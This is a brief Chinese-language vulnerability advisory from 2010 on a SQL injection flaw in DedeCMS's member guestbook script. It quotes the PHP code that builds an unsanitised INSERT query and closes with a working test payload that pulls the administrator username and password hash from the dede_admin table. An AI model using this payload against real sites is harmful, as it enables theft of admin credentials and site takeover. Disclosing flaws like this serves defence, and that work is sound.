久久久电脑

发布日期：2010-03-08
发布作者： jackal
漏洞描述：

member_guestbook_action.php
$title = cn_substr(html2text($title),60);  $msg = cn_substr(stripslashes($msg),2048);  if($cfg_ml->M_UserName!="" && $cfg_ml->M_ID!=$uidnum) $gid = $cfg_ml->M_UserName;  else $gid = '';  $inquery = "  INSERT INTO dede_member_guestbook(mid,gid,title,msg,uname,email,qq,tel,ip,dtime)  VALUES ('$uidnum','$gid','$title','$msg','$uname','$email','$qq','$tel','".GetIP()."',".mytime().");  ";   一般的注射..
cn_substr在别处有别的错.这里无所谓了.

漏洞测试：

cccccc',(select concat(userid,0x3a,pwd) from dede_admin limit 0,1),'','','','123',123)#